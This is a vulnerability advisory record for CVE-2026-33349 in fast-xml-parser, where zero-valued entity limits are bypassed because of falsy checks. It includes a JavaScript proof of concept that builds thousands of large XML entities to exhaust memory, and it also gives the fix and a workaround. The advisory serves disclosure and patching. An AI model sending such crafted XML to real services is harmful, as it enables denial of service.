{"id":"CVE-2026-33349","aliases":["GHSA-jp2q-39xq-3w4g"],"url":"https://o3.security/vulnerability/CVE-2026-33349","summary":"fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation","details":"## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false &&\n    this.options.maxEntityCount &&          // ← 0 is falsy, skips check\n    entityCount >= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false &&\n    this.options.maxEntitySize &&            // ← 0 is falsy, skips check\n    entityValue.length > this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount && ...` — since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize && ...` — same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i < 1000; i++) {\n  entities += `<!ENTITY e${i} \"${\"A\".repeat(100000)}\">`;\n}\n\nconst xml = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n  ${entities}\n]>\n<foo>&e0;</foo>`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 — replace:\nif (this.options.enabled !== false &&\n    this.options.maxEntityCount &&\n    entityCount >= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false &&\n    typeof this.options.maxEntityCount === 'number' &&\n    entityCount >= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 — replace:\nif (this.options.enabled !== false &&\n    this.options.maxEntitySize &&\n    entityValue.length > this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false &&\n    typeof this.options.maxEntitySize === 'number' &&\n    entityValue.length > this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.","published":"2026-03-24T19:35:47.908Z","modified":"2026-08-12T03:51:36.876889887Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00449,"percentile":0.36934,"asOf":"2026-08-08"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"fast-xml-parser","fixedVersion":"4.5.5"},{"ecosystem":"npm","name":"fast-xml-parser","fixedVersion":"5.5.7"}],"fix":{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7","label":"NaturalIntelligence/fast-xml-parser@239b64a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33349.json"},{"type":"ADVISORY","url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33349"},{"type":"FIX","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"},{"type":"PACKAGE","url":"https://github.com/NaturalIntelligence/fast-xml-parser"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.876889887Z"}}